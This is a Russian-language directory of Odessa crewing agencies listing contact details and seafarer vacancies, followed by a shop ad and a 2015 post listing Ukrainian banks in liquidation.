Наличие отзывов от иностранных судовладельцев ОБЯЗАТЕЛЬНО!
Срочно все специалисты на танкеры!
Транзит-Экспресс Морское агенство
65012 Украина, г.Одесса, ул Уютная, 2
Tel. 0482-34-58-66, 34-58-67
Fax.
office@transit-express.od.ua
http://transit-express.com
Крюинг предлагает работу для моряков на следующих судах: буксиры, балкеры, танкеры, рефсуда. Страны судовладельцев: Швеция, Англия, Германия, Греция и Арабские Эмираты. Вакансии: капитаны, помощники капитанов, старшие механики, механики 2 и 3 класса, электромеханики. Ставки у моряков ITF. Контракты от 2 до 6 месяцев. Постоянный набор обслуживающего персонала на Princess Cruises(USA), Cunard(UK).

Крюинговое агентство Джоб Круиз Шип
Украина г. Одесса ул. М. Арнаутская, 41/43
Tel. +38 (048)7281102
Fax. +38 (048)7770823

http://www.jobcruiseship.com

Крюинговая компания Job Cruise Ship
Основной функцией крюинговой компании "JOB CRUISE SHIP" является рекрутинг персонала для наиболее крупных в мире круизных пассажирских компаний.
В отличие от большинства крюинговых агентств, которые предлагают нанимаемым работникам сезонную работу, мы с гордостью можем предложить Вам возможность постоянного трудоустройства. Работая на благо этих компаний, Вы можете добиться успеха и повысить свой профессиональный уровень.
Штат работников нашего морского агентства профессионально предоставляет информацию касательно работы, о жизни на борту судна, о продолжительности контрактов, отпусков и т.д. К тому же, аппликанты тщательным образом отбираются нашими специалистами по набору персонала, заинтересованными в поиске инициативных, дружелюбных и целеустремленных людей.
"JOB CRUISE SHIP" ассистирует в посадке на судно всем аппликантам, благополучно прошедшим собеседование с представителем одной из круизных компаний, для которых мы производим набор персонала.
Взаимное общение между Вами и сотрудниками нашего агентства основано на искренности и дружелюбии.
"Джоб Круиз Шип" является официальным представителем всемирно известных компаний: "ROYAL CARIBBEAN INTERNATIONAL & CELEBRITY CRUISES", "CARNIVAL CRUISE LINES", "COSTA CROCIERE", "NORWEGIAN CRUISE LINE", "STAR CRUISE".
СОТРУДНИЧАЯ С НАМИ, ВЫ МОЖЕТЕ ПОЗАБОТИТЬСЯ О СВОЕМ БУДУЩЕМ!

Морская компания "Acropolis Maritime"
Украина Одесса ул. Базарная 38
Tel. 0038 048 784 57 67
Fax. 0038 0482 32 57 27
acropolis_mari@mail.ru
http://www.acropolis.net.ua

Крюинговая компания "Acropolis Maritime" трудоустраивает моряков (офицеров и рядовой состав) на все типы судов, обслуживающий персонал на пассажирские суда , а также оказывает услуги Агента в Одесском, Ильичевском и Южном морских портах.
Компания "Acropolis Maritime" занимается данным видом деятельности с 2003. Наша компания обеспечивает все типы судов квалифицированными и компетентными Украинскими командами.
Члены экипажа тщательно проверяются, на предмет их опыта, компетентности, здоровья , а также уровня знаний английского языка .
Основываясь на требованиях судовладельца, суперинтендант компании отбирает и комплектует командный и рядовой состав каждого судна, строго придерживаясь Внутренних Качественных Стандартов(IQS), требований IMO, STCW , требований Международной организации по стандартизации, и соглашений укомплектования людьми судна и ее системного реестра.
Услуги формирования экипажа гибки и конкурентоспособны и охватывают полный спектр современных крюинговых услуг для судовладельцев.
Мы работаем с различными типами судов:
Tanker (product/crude)
Tanker (gas/chemical/special)
Bulker (incl.obo/combination)
General Cargo
Container
Ro-Ro
Vehicle Carrier
Passenger/Ferry/Cruise
Coastal
Inland
Reefers
Offshore vessels
Tugs and Barges
Наш офис расположен в Одессе, Украине, - место наибольшего количества моряков, один из самых больших средиземноморских и черноморских портов.

Морское агентство "Эквинокс" ("Equinox")
Украина г. Одесса ул. Елизоветинская 1
Tel. +38048 738 45 70
Fax. +38048 738 45 69
crewing@equinox.com.ua
http://equinox.com.ua

Equinox занимается набором и отправкой на суда квалифицированных морских офицеров и рядовых членов экипажа с учетом специфических требований каждого клиента. Этот процесс включает оформление документации и инструктаж перед отправкой; проверку кандидатов; ведение трудовых записей;
организацию доставки экипажей на суда; планирование замен экипажей; предварительное медицинское обследование моряков согласно стандартам МОТ-73,
включая тесты на алкоголь и наркотики; обеспечение профессиональной подготовки и тестирования моряков, в том числе на знание английского языка, организацию доставки на суда ремонтных бригад из числа сертифицированных специалистов, расчет заработной платы.
Мы также выполняем сюрвей судов при входе и выходе их фрахта, а также работаем с претензионными случаями на судах в украинских портах Черного моря.
С июля 2006 года Equinox был номинирован на проведение инспекций и выдачу судовых сертификатов от имени регистра PANAMA MARITIME DOCUMENTATION SERVICES, INC./I.B.M. Inc., на судах, зарегистрированных под флагом государств
Панама,
Белиз, Гондурас,
Боливия
и др., во время захода таких судов в порт Одесса.
Мы обладаем обширной базой данных моряков для работы на судах всех типов. Это позволяет нам быстро подбирать для клиента необходимых ему кандидатов.
Все наши кандидаты имеют опыт работы в многонациональных экипажах.

ALPHA NAVIGATION Odessa (Альфа Навигэйшин)
г. Одесса ул. Мачтовая 17
Tel. +38 048 232 9204
+38 048 232 9205
+38 048 232 9206
Fax.
crew@alncc.com
http://www.alncc.com
Постоянно требуеться командный ком состав для работы на всех типов судов (CONT, BULK, TANK(ULCC, VLCC), CH/TANK, LPG, COASTERS).
Зарплата выше ITF.
Широко используеться система возвратных бонусов.

"Insider Marine Ltd"
ул. Пантелеймоновская 116 "Б", Бизнес Центр "Шевченковский", офис 406 (вход с Куйбышева угол Преображенской). г.Одесса
Tel. +380487993373
Fax. +380482344321
crew@insider.com.ua
http://www.insider.com.ua

"Lemisoler Ukraine, S.C."
Одесса, ул.Успенская, д.12
Tel. +38 048 7287912
Fax. +38 048 7287912
info.ua@lemissoler.com
http://www.lemissoler.com

"Akmar Transport Ltd , Odessa" ("Акмар Транспорт")
г.Одесса, ул.Бунина, 37, оф. 10
Tel. 0038 048 785 56 87 / 785 56 88
Fax. 0038 048 7859410
crew@akmartransport.com
www.akmartransport.com
Для моряков

Предоставление всех услуг, связанных с трудоустройством моряков;
Компенсация всех расходов моряков, связанные с транспортом в пути следования на судно и обратно;
Строгое выполнение обязательств перед моряками(выплата заработной платы осуществляется ежемесячно);
оказываем необходимые для ОТКРЫТИЯ ВИЗЫ услуги;
Выбор кандидатов базируется исключительно на их опыте и профессиональных способностях (здесь можно оставить свою анкету);
предоставление прохождения морской практики курсантам морских учебных заведений с последующим их трудоустройством;
Перспектива роста до капитана и старшего механика, т. к. компания заинтересована в долгосрочном сотрудничестве;
Повышение зарплаты моряка с каждым последующим рейсом.

Работа на судах Offshore
Морское агентство Акмар Транспорт предлагает работу квалифицированным Украинским и Российским морякам и другим специалистам на буровых вышках и судах оффшорной индустрии .
DP fitted vessels
Platform Supply vessels
AHT / AHTS
ROV support vessels
Pipelay
Diving Support
Heavy Construction vessels
Research ships
Ocean tugs
и другие типы судов.
"Rolandia Shipping Ltd"
ул.Веры Холодной 1, кв.19
Tel. +380487265781
Fax. +380482358423

трудоустройство моряков
"EMS Crew Management LLC"
Одесса ул. Большая Арнаутская дом 44.
Tel. +380 487 342 170
Fax. +380 487 850 470
PIV@ems-asa.com
http://www.ems-crew.eu
Компания EMS Crew Management является частью Eizen Maritime Services. Eitzen Maritime Services – это глобальная морская служба, фокусирующая свою деятельность на управлении судами, их комплектацией морским персоналом, а также на морской логистике.
ЕМS (ранее ТЕSМА) Crew Management была основана в 2000 году. На сегодняшний день офисы ЕМS Crew Management расположены в Таллинне (Эстония) Риге (Латвия) , Санкт-Петербурге, Новороссийске (Россия) и Одесса (Украина)
Под управлением компании находятся суда-газовозы , такерa-химовозы и сухогрузы . Компания состоит из отделов коплектации морских судов, учебного центра , департамента управления качеством услуг и бухгалтерии.
База данных компании насчитывает до 2000 квалифицированных морских специалистов из России и стран СНГ. Тщательный поиск и подбор, а также дополнительное образование в береговых учебных центрах и на борту судов позволяют формировать экипажи высокопрофессиональными кадрами.

"WILSON Crewing Agency Odessa"
переулок Маяковского 7 (во дворе) офис WILSON, Одесса
Tel. +38048 723 41 75
Fax. +38048 711 75 07
svshipserv@farlep.net

представитель компании \"WILSON Shipmanagement AS\" в Украине подбор и комплектование экипажей на суда Норвежского судовладельца WILSON

"OMMA"
Одесса, ул. Канатная 17 ( во дворе )
Tel. (048) 7776110
Fax.
imao@odessa.net

СРОЧНО ТРЕБУЮТСЯ -
Старший механик - (до 59 лет) на Pilstick & MAN/Gen.cargo DWT 17.000 & 22.000 - Зар/плата - ( 8000 $ USD)
Второй механик - Зар/плата - ( 6000 $ USD)
Электромеханик - Зар/плата - ( 6000 $ USD)
Старший помошник - Зар/плата - ( 6000 $ USD)
Судовладельцы - ИРАН. Контракт 6 месяцев. Одесское Международное Морское Агентство "ОММА" Одесса, ул. Канатная 17 ( во дворе ) Тел/Факс - (048) 7776110 ; 7776099 imao@odessa.net
ТРЕБУЮТСЯ - на постоянной основе:
Капитаны Ст. помощники 2/3 помощники Электронщики 1/2/3 разряд Ст. механики 2/3/4/5 механики для работы в Иранской государственной судоходной компании IRISL - на балкера, cухогрузы, контенеровозы.
Одесское Международное Морское Агентство "ОММА" Одесса, ул. Канатная 17 ( во дворе ) Тел/Факс - (048) 7776110 ; 7776099 imao@odessa.net

"Dobson Fleet Management" (Добсон Флит)
140-В, Люстдорфская дорога Одесса, 65114 Украина
Tel. + 38 048 785 41 02
Fax. + 38 048 785 41 04
dfm-cv@mail.css.od.ua
http://www.dobsonshipman.com/index.aspx
Трудоустройство моряков на суда иностранных судовладельцев.
ребуеться плав состав на следующие типы судов:
Рефрежираторы.
Балкары.
Сухогрузы.
Контейнера.
Срочно нужен командный состав на ТАНКЕРА.
зар плата выше ITF.
Все услуга предостовляються бесплатно. Знание английского языка обязательно.
"Jurmarineservice Ltd."
Одесса, ул.Львовская, д.11
Tel. (80482) 347430
Fax.
jurmarine@odessa.net

"GOLDENPORT ODESSA"
пер.НЕКРАСОВА 7,ОДЕССА
Tel. 380 48 729 5801
Fax. 380 48 729 5802
goldenport@comstar.net.ua

Дочернее предприятие Голденпорт Одесса начало свою деятельность в 1998 году . В течении 9 лет компания успешно работает на рынке труда Украины, обеспечивая моряков стабильной работой. За период своей деятельности компания зарекомендовала себя как надежного и ответственного партнера по трудоустройству моряков. Мы оказываем услуги по подбору и найму высококвалифицированных кандидатов по всем морским специальностям, сертифицированных согласно всем требованиям STCW 95. Компания Goldenport Odessa полностью лицензирована в соответствии с требованиями законодательства Украины. Флот компании состоит из контейнеровозов и балкеров и на сегодняшний день насчитывает 24 судна и 6 яхт, на которых фирма Голденпорт Одесса предоставляет трудоустройство.

"Headway Ltd"
Одесса, Вознесенский проспект д.8, оф 6
Tel. +380 48 7150150
Fax. +380 48 7117300
crew@te.net.ua

"ООО Морское Агенство АПЕКС"
65076 г.Одесса пл.Независимости 1, оф. 507
Tel. 38(0482) 64-96-91, 38(0482) 64-97-38
Fax. 38(0482)64-96-91, 38(0482)64-97-38
apex@ukrpost.ua

Лицензия Министерства труда и социальной политики Украины: Серия АВ №327080 от 20.07.2007г. 11 летний опыт работы в оказания помощи морякам получения работы на судах.

"Минерва Мэнинг Эйдженси"
Пер. Вице-Адмирала Жукова, 3-7, кв.9, Одесса, 65026.
Tel. 38 048 7374528
Fax. 38 0482 377051
marine@te.net.ua

Представительство судоходной компании \"Minerva Marine Inc\" в Одессе. Трудоустройство моряков в данную компанию.
"Hermes Maritime Ltd."
ул. Ивана Франко 55 Одесса
Tel. +38048 328712
Fax. +38048 328714
office@hermesmaritime.com.ua
http://www.hermesmaritime.com.ua
требуется командный и рядовой состав на балкера и рифера, контракт 6 месяцев, оклады ITF

"Universal Service"
Одесса, Люстдорфская дорога. 92-94, оф.417
Tel. +380982452062
Fax. +380487842353
management@universervice.com
http://www.universervice.com

Трудоустройство моряков Украины и России , всех специальностей, на суда иностранных судовладельцев.

Мы представляем крюинговую компанию "Юниверсал Сервис", которая находится в г. Одесса (Украина).
Наша компания " Юниверсал Сервис " работает на рынке крюинга с 2000. Если у вас в наличии все требуемые документы, опыт работы, знание английского языка, Добро пожаловать к нам!
Наша главная цель состоит в том, чтобы обеспечить моряков достойной работой.
Наши партнёры владеют различными типами судов:
Tanker (productcrude)
General Cargo
Container
Tanker (gaschemicalspecial)
Reefers
Bulkers
Ro-Ro
PassengerFerryCruise
Offshore vessels
Tugs
Barges
LPG
Если у вас есть опят работы на этих судах – присылайте свои анкеты
( www.universervice.com - for seamen) -our application
Наши судовладельцы,
заинтересованные в долговременном сотрудничестве, способствуют росту моряка и предлагают систему бонусов при последующих контрактах.
"Норбалк – Блек Си"
Одесса,пер. Воронцовский 2-4
Tel. +3-80482-33-77-27
Fax. +3-80482-33-77-28
n_blacksea@optima.com.ua

Норбалк – Блек Си Терміново запрошує до співпраці командний та рядовий склад для роботи на РО-РО, балкерах, контейнєровозах, рефрежераторах та хімовозах. Усі послуги надаються безкоштовно.
"Alka Crewing Ltd"
Одесса, пр.Нхимова, д.2, оф.2
Tel. 380-48-729-6037
Fax. 380-48-729-6036
crewing@alka.com.ua
http://www.alka.com.ua
Посредничество в трудоустройстве моряков на суда иностранных судовладельцев. Полная информация на сайте крюинга.

"Orient Star,Ukraine"
ул.Пастера 16,офис 115 Одесса
Tel. +38-0482-34-77-36;33-30-58
Fax. +38-0482-24-82-08
office@orientstar.biz
http://www.orientstar.biz
Трудоустройство плавсостава,консультации для получения необходимых документов. Подробнее смотрите на сайте морского агенства.

"International Shipping & Investments Inc."
Одесса, ул.Юрия Олеши, д.4, оф.1
Tel. 80482-358002
Fax. 8048-7289675
a.binkovsky@isi-baltic.com
http://www.isi-baltic.com
Полная информация о крюинге на сайте.

"POSEIDON"
Одесса, Адмиральский бульвар 42
Tel. 60482-499855
Fax. 60482-499856
info@poseidon.od.ua
http://www.poseidon.od.ua
Подробнее информацию о крюинге смотрите на сайте
"POLyS Marine"
Одесса, ул.Канатная, 42, оф.407,409
Tel. 80487286559
Fax. 80487165628
polys@farlep.net

Крюинг "Odesos Navigation Company"
Одесса, ул.Большая Арнаутская 50 оф. 20
Tel. +38 048 784 03 71
Fax. +38 048 784 03 72
crew@odesos.com.ua
http://www.odesos.com.ua
Информацию о крюинговом агенстве можно посмотреть на сайте.

Крюинг "MARITIME CREWING AGENCY"
Одесса, ул.Прохоровская 28, оф.403
Tel. +38 0482 346122/346362/346659/373375
Fax.
mca@te.net.ua

Крюинг MARMARA SHIPPING ODESSA"
Одесса, Французский бульвар, 89, оф.75
Tel. 80482 429515
Fax. 80482 429514
marmara@farlep.net

Internetional Crew Manadgement
г.Одесса ул.Пушкина, 8 оф.2
Tel. 8048 7282451
Fax. 8048 7215377
forcv@icm-odessa.com
http://www.icm-odessa.com

Крюинг Internetional Crew Manadgement представляет одного из ведущих судовладельцев в мире COLUMBIA SHIPMANADGMENT.
COLUMBIA SHIPMANADGMENT ПРЕДЛАГАЕТ:
1.Высокая конкурентная зарплата и бонусы для моряков
2.Гарантированное трудоустройство моряков
3.Наилучшие карьерные возможности и быстрый карьерный рост благодаря росту численности флота
4.Владеет одним из самых современных флотов в мире
5.Высокие стандарты жизни на судне
6.Возможность перехода на работу в офис компании

Doehle (Дёле Одесса Украина ООО)
г.Одесса, ул.Дидрихсона,13
Tel. 8048 7284575
Fax.

http://www.doehle-ukraine.odessa.ua
Стабильная работа на новых судах.
Контракты 4-6 месяцев.
Doehle объявляет срочный набор на балкерный флот:командный и рядовой состав.

ООО "Морское агенство "Украина"
г.Одесса ул.Преображенская 1 оф.7
Tel. 80482 378578, 496670, 7233991, 7289400
Fax. 80482 345332
mau@mau.com.ua
http://www.mau.com.ua
Крюинг приглашает командный и рядовой состав для работы на судах и в off-shore.
Оклады выше ITF.
Длительность контракта 4-6 месяцев.
Услуги по трудоустройству -бесплатные.
Опыт работы, знание английского языка и наличие отзывов от предыдущих работодателей для моряков обязательны.

ЕВРОКРЮИНГ
г. Одесса ул. Пушкинская 8 кв.2
Tel. (0482) 7262507
Fax. (048) 7215377
forcv@eurocrew.com.ua
http://eurocrew.com.ua
НОВЫЕ ВОЗМОЖНОСТИ НА НОВЫХ РИФЕРАХ.
Предлагаем работу специалистам с опытом работы на РИФЕРАХ.
-Контракт 4 месяца.
-Новый флот.
-Высокие оклады.
-Возможности частичного трудоустройства "своего" экипажа.
ТРЕБОВАНИЯ:
-опыт работы на риферах.
-позитивные отзывы.
-английский язык по специальности.

V.Ships (Ukraine)
г.Одесса. ул. Маршала Жукова 37/2 каб. 102
Tel. +38 (048) 7-340-340
Fax. +38 (048) 7-340-341
application@odessa.vships.com
http://www.vships.com.ua
На постоянную работу требуется опытный старший командный состав для работы на продуктовозах грузовместимостью от 5000 до 15000 тонн.

MSC CREWING SERVICES
г. Одесса Люстдорфская дорога 140-В, 2-й этаж оф. 2
Tel. +380 482 333 891
+380 482 333 892
Fax. +380 482 333 892
info@msccrewserv.com
http://msccrewserv.com
Приглашает командный и рядовой плав состав для работы на своих судах.
Мы предлагаем:
Стабильную работу.
Контракты 4 месяца.
Система бонусов.
Карьерныи рост.
Кадетская программа.
Пенсионный фонд.
Все услуги для моряков по трудоустройству предоставляються бесплатно.

Маерск Украина Лтд. ( Maersk Line )
Одеса ул. Греческая, 17, 6-й этаж
Tel. +38 048 738 5080
Fax. +38 048 738 5091

http://www.maerskline.com/link/?page=lhp&path=/europe/ukraine/office?=ua_UA

Alpha Ship Management (Альфа Шип)
г. Одесса ул. Льва Толстого 17 А
Tel. +38 048-786-00-25
+38 048-711-75-62
Fax. +38 048-786-90-56
ums@crewservice.com.ua
http://alphaship.com.ua/
Требуеться квалифицированный командный плав состав, со знанием английского языка, на контейнеровозы 1150-2000 TEU продолжительность контракта 4-6 месяцев.

BSM Crew Service Centre Ukraine (БСМ Крюинг Центр)
г. Одесса ул. Льва Толстого 6, оф. 6.
Tel. +380 482 345958 / 344929
Fax. +380 487 776521
ua-csc-ode-man@bs-shipmanagement.com
http://www.bs-shipmanagement.com
Представитель компании "Bernhard Schulte Shipmanagement" в Украине. Требуеться командный плав состав для работы на контейнеровозах (от 1200 TEU), нефтеналивных танкерах, химовозах и газовозах, судах типа RO-RO и балкерах.
А также рядовой плавсостав для работы на танкерах и судах типа RO-RO.
Требования для кандидатов:
опыт работы на соответствуещей должности в смешанном экипаже, наличие позитивных рекомендаций, знание английского языка.

ЕВГЕНИЯ (EUGENIA) Морское агентство.
г. Одесса ул. Князевская 2 кв. 12
Tel. (047) 786 90 61
(047) 786 90 66
Fax.
eugenia@com.od.ua
http://eugenia.com.ua
Требуються:
Ком состав на реферы, 2 механики и электромеханики на балкера.
Офшорный флот:
капитаны, стар мехи, стар помы, 2 механики.

АСП КРЮ МЕНЕДЖМЕНТ СЕРВИСИЗ УКРАИНА (ASP CREW)
г. Одесса проспект Шевченко 33 Б, оф. 10
Tel. (048) 701 31 14
Fax.
odessa@crewships.com
http://www.aspships.com
Требуються моряки для работы на балкерах, танкерах, автомобилевозах.

Корасон Дель Мар
г. Одесса ул. Королёва 92-А, оф 312, 3-й этаж.
Tel. 784 03 88
Fax.
mail@cdm-odessa.od.ua

Преглашаеться командный плав состав на балкера компании Fairsky Shipping and Traing S.A.
Все услуги для моряков предоставляються бесплатно.

"Namory Ship Management"
ул. Польская, 3 Одесса
Tel. +380487848123
Fax. +380487293106
info@namory.com
http://www.namory.com
Компания осуществляет трудоустройство украинских моряков на суда иностранных судовалдельцев и менеджеров в соответствии с лицензией Министерства труда и социальной политики Украины. Постановка на учет бесплатно

UKRAINE морское агентство (УКРАИНА)
г. Одесса ул. Преображенская 1
Tel. (0482) 49 66 70
(0482) 378578
(0482) 31 11 91
Fax. (0482) 34 53 32
irina@mau.com.ua
http://mau.com.ua
Приглашаеться командный и рядовой плавсостав с опытом работы в смешанных экипажах на судах иностранных судовладельцев, следуюших типов:
контейнеровозы, рифера, автомобилевозы, балкеры, танкера, химовозы, газовозы, OBO, VLCC, буксиры, и др.
А также командный состав (инженеры) и рядовые с опытом работы на кабелеукладчиках;
офф-шорах, и береовых проэктах, связанных с нефте газовой отраслью;
бурильщики и другие специалисты с опытом работы на буровых платформах.
Знание английского языка, и наличие отзывов для моряков обязательно. Постановка моряков на учет - бесплатно.

MANSHIP ODESSA LLS
г. Одесса ул Жуковского 33 оф 803
Tel. (+38) 048 722 7085
Fax. (+38) 048 722 7084
odessa@manship-worldwide.com
http://www.manship-worldwide.com
Looking for a Maritime Career at sea ? Are you up for it?
Do you have…
An absolute desire to go to sea, i.e. a real interest in ships and / or in engineering
A willingness to obey orders
A strong sense of responsibility Initiative
Good teamplayer
Absolute integrity
Reliability - ability to work without supervision
Willingness to be away from home for longer periods of time
... If so, a dynamic and exciting career at sea could be for you!!
Seafarers who are interested to apply for a position onboard a Manship managed vessel, are kindly requested to contact your locall Marine agency.

SHELL / EMS Crew management (Ukraine)

EMS Crew Management (UKraine) on behalf of our client SHELL Ship Management ltd invites experienced seafarers to consider the following:

DECK AND ENGINEER OFFICERS
At Shell Shipping, we’re proud to have such diversity within our fleet personnel. The greater the
variety of perspectives we have on board, the greater the ideas we can develop. Now we need
more people who can apply fresh thinking to the energy challenge.
With the growth in our LNG Fleet, we have opportunities for Deck and Engineer Officers with
previous oil-chem tanker/LNG/LPG experience to join our family of marine professionals. In return,
you’ll enjoy excellent opportunities to develop your career, and increasing benefits as you progress.
Today our Officers receive:
• Flexible leave and salary packages
• A target tour length of 12/16 weeks in our Gas Fleet
• 19/28 days’ leave earned per month
• Airport Priority Pass Lounge access
• Spouse travel assistance

Candidates must have previous Oil-Chem Tanker or LPG Experience at mixed crew, of course if any LNG Experience this would assist but not essential. We would be looking to trail successful Officers & Engineers on Slow Speed Diesel powered LNG vessels built 2009 (motor certificated required) and the Gas Engineers would have to be familiar with Reliquefaction, although training would be given.

Contact information:

Artur Sargsyan
Crew Manager
+380675574147 mob.
+380487342170 ph./fax
+380487850470 ph./fax
arg@ems-asa.com
44 Velyka Arnautska Str.,
Odessa, Ukraine
65125

Самый лучший крюинг? Выбор за вами! Вакансии для моряков Крюинг в украинеРеклама

В нашем Интернет магазине Моряки Одессы вы можете приобрести оригинальные Wi-Fi адаптеры всемирной известной фирмы Alfa network Long-Range Wi-Fi для подключения и использования бесплатного интернета в рейсе.

Жми Сюда

Список банков в Украине которые были и будут закрыты в 2015году

chibis — Tue, 24 Mar 2015 01:58:45 GMT

Перечень банков Украины какие находятся на Ликвидации ситуация на 20.03.2015

$CUT$

№ з/п	Назва банку	Постанова про ліквідацію		Дата відкликання банківської ліцензії	Адреса ліквідатора	Назва та ПІБ ліквідатора	Телефон ліквідаційної комісії
№ з/п	Назва банку	№ пост.	дата	Дата відкликання банківської ліцензії	Адреса ліквідатора	Назва та ПІБ ліквідатора	Телефон ліквідаційної комісії
м. Київ і Київська область
1	Акціонерне товариство "Градобанк"	10/11	14.07.2000	14.07.2000	01135, м. Київ, вул. Дмитрівська, 71/7	Львова Ірина Володимирівна	(044) 537-75-17
2	Публічне акціонерне товариство "Банк Столиця"	30	30.01.2012	31.01.2012	04205, м. Київ, вул. Маршала Тимошенка, 29 Б, фактичне місцезнаходження: 04114, м. Київ, вул. Вишгородська, 45/2	Болдирєв Олександр Олександрович	(044) 230-87-67
3	Публічне акціонерне товариство "ЕРДЕ БАНК"*	4	09.01.2013	09.01.2013	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
4	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "БАНК "ТАВРИКА"*	97	20.03.2013	20.03.2013	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
5	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК "ДАНІЕЛЬ"*	217	15.04.2014	15.04.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
6	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "БРОКБІЗНЕСБАНК"*	339	10.06.2014	10.06.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
7	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "БАНК ФОРУМ"*	355	13.06.2014	13.06.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
8	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО КОМЕРЦІЙНИЙ БАНК "ІНТЕРБАНК"*	432	22.07.2014	23.07.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
9	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "СТАРОКИЇВСЬКИЙ БАНК"*	563	11.09.2014	18.09.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
10	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ЄВРОПЕЙСЬКИЙ ГАЗОВИЙ БАНК"*	725	17.11.2014	17.11.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
11	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ТЕРРА БАНК"*	831	23.12.2014	23.12.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
12	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "КОМЕРЦІЙНИЙ БАНК "АКТИВ-БАНК"*	838	23.12.2014	23.12.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
13	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ПРАЙМ-БАНК"*	9	13.01.2015	13.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
14	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ГРІН БАНК"*	40	22.01.2015	22.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
15	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ЕКСПОБАНК"*	41	22.01.2015	22.01.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
16	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "БГ БАНК"*	134	26.02.2015	26.02.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
17	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ЛЕГБАНК"*	135	26.02.2015	26.02.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
18	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "БАНК КАМБІО"*	144	27.02.2015	27.02.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
19	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "МІСЬКИЙ КОМЕРЦІЙНИЙ БАНК"*	187	19.03.2015	19.03.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
20	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "ВСЕУКРАЇНСЬКИЙ АКЦІОНЕРНИЙ БАНК"*	188	19.03.2015	19.03.2015	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Волинська область
21	ПУБЛІЧНЕ АКЦІОНЕРНЕ ТОВАРИСТВО "Західінкомбанк"*	433	22.07.2014	23.07.2014	адреса Фонду гарантування вкладів фізичних осіб: 01032, м. Київ, бульвар Т. Шевченка, 33 Б, сайт: http://www.fg.gov.ua/	Фонд гарантування вкладів фізичних осіб	0-800-308-108
Дніпропетровська область
